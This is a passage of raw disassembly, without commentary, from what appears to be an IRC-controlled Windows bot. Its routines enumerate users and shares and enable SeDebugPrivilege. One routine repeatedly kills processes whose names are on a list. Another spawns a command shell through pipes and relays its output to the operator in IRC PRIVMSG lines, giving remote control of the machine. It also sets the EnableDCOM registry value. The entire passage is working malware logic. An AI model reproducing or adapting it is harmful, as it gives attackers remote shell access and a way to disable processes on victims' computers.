push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+var_218]
push offset unk_439EAC
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA74
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA74
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset dword_4DB5F0
call sub_41C266
pop ecx
mov eax, offset dword_4DB5F0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E0D4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_4270C8 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E0D4
lea eax, [ebp+var_718]
push eax
call sub_41E0B7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9F4
test eax, eax
jnz short loc_419B70
mov esi, offset dword_4DB3EC
push offset unk_43A214
push esi
call sub_41C266
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset dword_4DB3EC
push eax
push offset dword_43A1E8
push esi
call sub_41C266
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_427104 ; GetCurrentProcess
push eax
call dword_4CB9C8 ; OpenProcessToken
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB9A0 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA50 ; AdjustTokenPrivileges
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
call dword_427070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CBA04, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9E8, ebx
jz loc_419E08
cmp dword_4CB8F8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CBA04 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9E8 ; Process32First
mov esi, dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8F8 ; Process32Next
test eax, eax
jz loc_419DF6
mov edi, dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A240
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call dword_42718C ; lstrcmpi
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_43A2A0
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
call dword_4270FC ; TerminateProcess
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+arg_C], eax
jnz loc_419DC7
cmp [ebp+arg_4], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CBA04 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB8A4 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+var_10C]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8F8 ; Process32Next
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419E33
push edi
call esi ; CloseHandle
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43A440
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A41C
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset unk_43A3F8
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+var_298]
push eax
call sub_41C266
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call dword_42708C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
call dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
call dword_427070 ; CloseHandle
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419F4D proc near ; DATA XREF: sub_401221+3CDo
push esi
xor esi, esi
loc_419F50: ; CODE XREF: sub_419F4D+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419C09
add esp, 18h
push dword_43A23C
call dword_427080 ; Sleep
jmp short loc_419F50
sub_419F4D endp
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC58
push esi
mov esi, dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi ; CloseHandle
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC60
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi ; CloseHandle
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC54
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi ; CloseHandle
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
; sub_416000+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B9C0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DBC5C
call dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB98
push [ebp+arg_4]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
call dword_427080 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C266
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push eax
call sub_41C266
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DBC64
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DBC58
call dword_427194 ; PeekNamedPipe
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC54
call dword_427190 ; GetExitCodeProcess
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
call dword_427080 ; Sleep
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DBC58
call dword_4270EC ; ReadFile
test eax, eax
jz short loc_41A18E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DBC98
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C8
push ebx
push dword_4DBC98
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
call dword_4270D4 ; ExitThread
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A4A0
push ebx
push dword_4DBC98
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call dword_4270D4 ; ExitThread
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A470
push ebx
push dword_4DBC98
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call dword_4270D4 ; ExitThread
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
; sub_416000+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419F6D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_4346E8
push esi
call dword_4CBAA0 ; SearchPathA
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
mov edi, dword_427104
push 3
push esi
push esi
push offset dword_4DBC5C
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_427100 ; DuplicateHandle
test eax, eax
jz short loc_41A2AB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BF70
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB98
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, dword_427070
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC58, eax
mov eax, [ebp+var_8]
mov dword_4DBC60, eax
mov eax, [ebp+var_2C]
mov dword_4DBC54, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC98, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset dword_4DBC64
call sub_41C266
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A52C
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E928[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
call dword_427084 ; CreateThread
cmp eax, esi
mov dword_43E934[edi], eax
jnz short loc_41A35F
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_43A4F8
push eax
call sub_41C266
lea eax, [ebp+var_378]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAB4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA54 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A451
mov ax, word_4392A0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CBA08 ; RegSetValueExA
test eax, eax
jz short loc_41A433
push offset dword_43A7C8
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset dword_43A7A8
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9C0 ; RegCloseKey
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+var_214]
push offset dword_43A778
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
